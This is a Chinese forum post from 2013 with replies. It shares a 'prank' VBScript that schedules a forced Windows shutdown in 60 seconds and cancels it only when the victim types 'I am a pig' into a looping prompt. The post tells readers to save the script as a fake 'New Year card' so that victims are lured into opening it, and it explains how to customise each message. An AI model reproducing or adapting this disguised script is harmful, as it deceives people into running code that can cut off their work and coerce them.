【登录】 【注册】
|
主题：vbe整人代码 作者：梦、一凡 时间：2013-01-29 09:03 |
vbe编码整人关机，首先新建一个文本文档，复制以下代码到记事本，保存时保存成“新年贺卡.vbe”（这样就会诱引他们运行) 注：我分割线和他上面（下面）的字不用复制 ==============================我分割线================================= On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell") WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪，不说我是猪就60秒关你机，不信，试试···"" ", 0, True Dim a Do While (a "我是猪") a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000) MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox" Loop MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛" Dim WSHshell Set WSHshell = wscript.CreateObject("wscript.shell") WSHshell.Run "cmd.exe /c shutdown -a", 0, True MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈，一切皆有可能！" ==============================我分割线================================= 在他输入好我是猪后，有两个提示，第一个要更改，更改这一句中的“早说就行了嘛”引号不用复制，原句中引号不要动 MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛" 更改第二个提示就修改引号里面的 MsgBox Chr(13) + Chr(13) + Chr(13) + "哈哈哈哈，一切皆有可能！" 修改关机时间就修改 WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c 这句中的60。（单位：秒） 修改他要打的字就修改 Do While (a "我是猪") 引号中的字 更改主窗口的提示语就更改 WSHshellA.Run "cmd.exe /c shutdown -s -t 60 -c ""说我是猪，不说我是猪就60秒关你机，不信，试试···"" ", 0, True 引号中的字 更改输入窗口的提示语就更改 a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的 InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" 引号中的字 更改在文本框中原始有的字就修改 a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的 "不说", 8000, 7000) 引号中的字 更改程序运行后在任务栏显示的字就修改 a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)这一行中的 "说不说", 引号里面的字 懒得更改的朋友就直接下在附件（他让你输我是猪） 最后上传几个在下做的[attachment=131880][attachment=131875] |
| 1楼:修罗放弃了眼(2013-01-29 09:04) |
 好复杂呀 |
| 2楼:littlexiao(2013-01-29 09:11) |
看得明白，不错 |
| 3楼:中华纯爷们(2013-01-29 09:11) |
感谢分享！ |
| 4楼:×冷眸先森×(2013-01-29 09:21) |
看不懂 好像比火星文还要难 |
| 5楼:tangxingyong(2013-01-29 09:26) |
后面的是干啥用的 |
| 6楼:洛天依(2013-01-29 09:26) |
老物，以前玩过 |
| 7楼:840045850(2013-01-29 09:50) |
 太长没看 |
| 8楼:wu1013(2013-01-29 10:25) |
中华游戏网不能没有像楼主这样的人才[懒人回复] |
| 9楼:雪月华(2013-01-29 15:43) |
太猥琐，太银当了  |